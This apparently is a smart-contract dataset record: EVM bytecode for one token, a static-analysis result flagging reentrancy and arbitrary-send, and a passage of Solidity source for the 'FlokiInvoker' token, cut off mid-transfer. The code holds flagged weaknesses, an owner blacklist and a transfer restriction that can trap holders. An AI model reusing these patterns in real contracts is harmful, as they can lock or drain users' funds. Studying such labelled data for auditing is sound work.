ffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612ecc565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdd565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612ecc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f20417374726f6e61757443415420000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612ecc565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64613349565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906132a2565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d4b565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612ecc565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612f4c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612831565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612831565b6040518363ffffffff1660e01b8152600401610df9929190612d1c565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612831565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612d6e565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a01565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612d45565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a791906129a7565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612ecc565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612e8c565b60405180910390fd5b6111b260646111a483683635c9adc5dea00000611fd390919063ffffffff16565b61204e90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111e99190612f8c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612f2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612e4c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190612f8c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e0c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612eec565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600e60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612f6c565b60405180910390fd5b5b5b600f5481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600e60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c91906130c2565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600e60159054906101000a900460ff16158015611b085750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600e60169054906101000a900460ff165b15611b4857611b2e81611d4b565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612098565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612dea565b60405180910390fd5b5060008385611c6491906131a3565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cd9573d6000803e3d6000fd5b5050565b6000600654821115611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b90612e2c565b60405180910390fd5b6000611d2e6120c5565b9050611d43818461204e90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8357611d82613378565b5b604051908082528060200260200182016040528015611db15781602001602082028036833780820191505090505b5090503081600081518110611dc957611dc8613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6b57600080fd5b505afa158015611e7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea39190612831565b81600181518110611eb757611eb6613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f82959493929190612fa7565b600060405180830381600087803b158015611f9c57600080fd5b505af1158015611fb0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611fe65760009050612048565b60008284611ff49190613149565b90508284826120039190613118565b14612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90612eac565b60405180910390fd5b809150505b92915050565b600061209083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f0565b905092915050565b806120a6576120a5612153565b5b6120b1848484612184565b806120bf576120be61234f565b5b50505050565b60008060006120d2612361565b915091506120e9818361204e90919063ffffffff16565b9250505090565b60008083118290612137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212e9190612dea565b60405180910390fd5b50600083856121469190613118565b9050809150509392505050565b600060085414801561216757506000600954145b1561217157612182565b600060088190555060006009819055505b565b600080600080600080612196876123c3565b9550955095509550955095506121f486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d5816124d2565b6122df848361258f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233c9190612f8c565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612397683635c9adc5dea0000060065461204e90919063ffffffff16565b8210156123b657600654683635c9adc5dea000009350935050506123bf565b81819350935050505b9091565b60008060008060008060008060006123df8a600854600f6125c9565b92509250925060006123ef6120c5565b905060008060006124028e87878761265f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b600080828461248391906130c2565b9050838110156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf90612e6c565b60405180910390fd5b8091505092915050565b60006124dc6120c5565b905060006124f38284611fd390919063ffffffff16565b905061254781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a48260065461242a90919063ffffffff16565b6006819055506125bf8160075461247490919063ffffffff16565b6007819055505050565b6000806000806125f560646125e7888a611fd390919063ffffffff16565b61204e90919063ffffffff16565b9050600061261f6064612611888b611fd390919063ffffffff16565b61204e90919063ffffffff16565b905060006126488261263a858c61242a90919063ffffffff16565b61242a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126788589611fd390919063ffffffff16565b9050600061268f8689611fd390919063ffffffff16565b905060006126a68789611fd390919063ffffffff16565b905060006126cf826126c1858761242a90919063ffffffff16565b61242a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126fb6126f684613041565b61301c565b9050808382526020820190508285602086028201111561271e5761271d6133ac565b5b60005b8581101561274e57816127348882612758565b845260208401935060208301925050600181019050612721565b5050509392505050565b600081359050612767816136c2565b92915050565b60008151905061277c816136c2565b92915050565b600082601f830112612797576127966133a7565b5b81356127a78482602086016126e8565b91505092915050565b6000813590506127bf816136d9565b92915050565b6000815190506127d4816136d9565b92915050565b6000813590506127e9816136f0565b92915050565b6000815190506127fe816136f0565b92915050565b60006020828403121561281a576128196133b6565b5b600061282884828501612758565b91505092915050565b600060208284031215612847576128466133b6565b5b60006128558482850161276d565b91505092915050565b60008060408385031215612875576128746133b6565b5b600061288385828601612758565b925050602061289485828601612758565b9150509250929050565b6000806000606084860312156128b7576128b66133b6565b5b60006128c586828701612758565b93505060206128d686828701612758565b92505060406128e7868287016127da565b9150509250925092565b60008060408385031215612908576129076133b6565b5b600061291685828601612758565b9250506020612927858286016127da565b9150509250929050565b600060208284031215612947576129466133b6565b5b600082013567ffffffffffffffff811115612965576129646133b1565b5b61297184828501612782565b91505092915050565b6000602082840312156129905761298f6133b6565b5b600061299e848285016127b0565b91505092915050565b6000602082840312156129bd576129bc6133b6565b5b60006129cb848285016127c5565b91505092915050565b6000602082840312156129ea576129e96133b6565b5b60006129f8848285016127da565b91505092915050565b600080600060608486031215612a1a57612a196133b6565b5b6000612a28868287016127ef565b9350506020612a39868287016127ef565b9250506040612a4a868287016127ef565b9150509250925092565b6000612a608383612a6c565b60208301905092915050565b612a75816131d7565b82525050565b612a84816131d7565b82525050565b6000612a958261307d565b612a9f81856130a0565b9350612aaa8361306d565b8060005b83811015612adb578151612ac28882612a54565b9750612acd83613093565b925050600181019050612aae565b5085935050505092915050565b612af1816131e9565b82525050565b612b008161322c565b82525050565b6000612b1182613088565b612b1b81856130b1565b9350612b2b81856020860161323e565b612b34816133bb565b840191505092915050565b6000612b4c6023836130b1565b9150612b57826133cc565b604082019050919050565b6000612b6f602a836130b1565b9150612b7a8261341b565b604082019050919050565b6000612b926022836130b1565b9150612b9d8261346a565b604082019050919050565b6000612bb5601b836130b1565b9150612bc0826134b9565b602082019050919050565b6000612bd8601d836130b1565b9150612be3826134e2565b602082019050919050565b6000612bfb6021836130b1565b9150612c068261350b565b604082019050919050565b6000612c1e6020836130b1565b9150612c298261355a565b602082019050919050565b6000612c416029836130b1565b9150612c4c82613583565b604082019050919050565b6000612c646025836130b1565b9150612c6f826135d2565b604082019050919050565b6000612c876024836130b1565b9150612c9282613621565b604082019050919050565b6000612caa6017836130b1565b9150612cb582613670565b602082019050919050565b6000612ccd6011836130b1565b9150612cd882613699565b602082019050919050565b612cec81613215565b82525050565b612cfb8161321f565b82525050565b6000602082019050612d166000830184612a7b565b92915050565b6000604082019050612d316000830185612a7b565b612d3e6020830184612a7b565b9392505050565b6000604082019050612d5a6000830185612a7b565b612d676020830184612ce3565b9392505050565b600060c082019050612d836000830189612a7b565b612d906020830188612ce3565b612d9d6040830187612af7565b612daa6060830186612af7565b612db76080830185612a7b565b612dc460a0830184612ce3565b979650505050505050565b6000602082019050612de46000830184612ae8565b92915050565b60006020820190508181036000830152612e048184612b06565b905092915050565b60006020820190508181036000830152612e2581612b3f565b9050919050565b60006020820190508181036000830152612e4581612b62565b9050919050565b60006020820190508181036000830152612e6581612b85565b9050919050565b60006020820190508181036000830152612e8581612ba8565b9050919050565b60006020820190508181036000830152612ea581612bcb565b9050919050565b60006020820190508181036000830152612ec581612bee565b9050919050565b60006020820190508181036000830152612ee581612c11565b9050919050565b60006020820190508181036000830152612f0581612c34565b9050919050565b60006020820190508181036000830152612f2581612c57565b9050919050565b60006020820190508181036000830152612f4581612c7a565b9050919050565b60006020820190508181036000830152612f6581612c9d565b9050919050565b60006020820190508181036000830152612f8581612cc0565b9050919050565b6000602082019050612fa16000830184612ce3565b92915050565b600060a082019050612fbc6000830188612ce3565b612fc96020830187612af7565b8181036040830152612fdb8186612a8a565b9050612fea6060830185612a7b565b612ff76080830184612ce3565b9695505050505050565b60006020820190506130166000830184612cf2565b92915050565b6000613026613037565b90506130328282613271565b919050565b6000604051905090565b600067ffffffffffffffff82111561305c5761305b613378565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130cd82613215565b91506130d883613215565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561310d5761310c6132eb565b5b828201905092915050565b600061312382613215565b915061312e83613215565b92508261313e5761313d61331a565b5b828204905092915050565b600061315482613215565b915061315f83613215565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613198576131976132eb565b5b828202905092915050565b60006131ae82613215565b91506131b983613215565b9250828210156131cc576131cb6132eb565b5b828203905092915050565b60006131e2826131f5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323782613215565b9050919050565b60005b8381101561325c578082015181840152602081019050613241565b8381111561326b576000848401525b50505050565b61327a826133bb565b810181811067ffffffffffffffff8211171561329957613298613378565b5b80604052505050565b60006132ad82613215565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132e0576132df6132eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136cb816131d7565b81146136d657600080fd5b50565b6136e2816131e9565b81146136ed57600080fd5b50565b6136f981613215565b811461370457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200c079a1ecf296dd915f25d5d323c4a556e116bba2b39c36c5a627217d9adf0a064736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,219 |
0x195ae90754b13ac3aae3d0025e89e265b0c2864a
|
/**
*Submitted for verification at Etherscan.io on 2021-10-07
*/
/*
Welcome to the official FlokiInvoker token!
100 Million total supply
8% development/buyback fees
2% redistribution to holders
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FlokiInvoker is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "FlokiInvoker";
string private constant _symbol = "FLOKIVK";
uint8 private constant _decimals = 9;
//RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
mapping(address => bool) private _isExcludedFromFee;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 8;
uint256 private _redisfee = 2;
//Bots
mapping (address => bool) bannedUsers;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _redisfee == 0) return;
_taxFee = 0;
_redisfee = 0;
}
function restoreAllFee() private {
_taxFee = 4;
_redisfee = 2;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (120 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
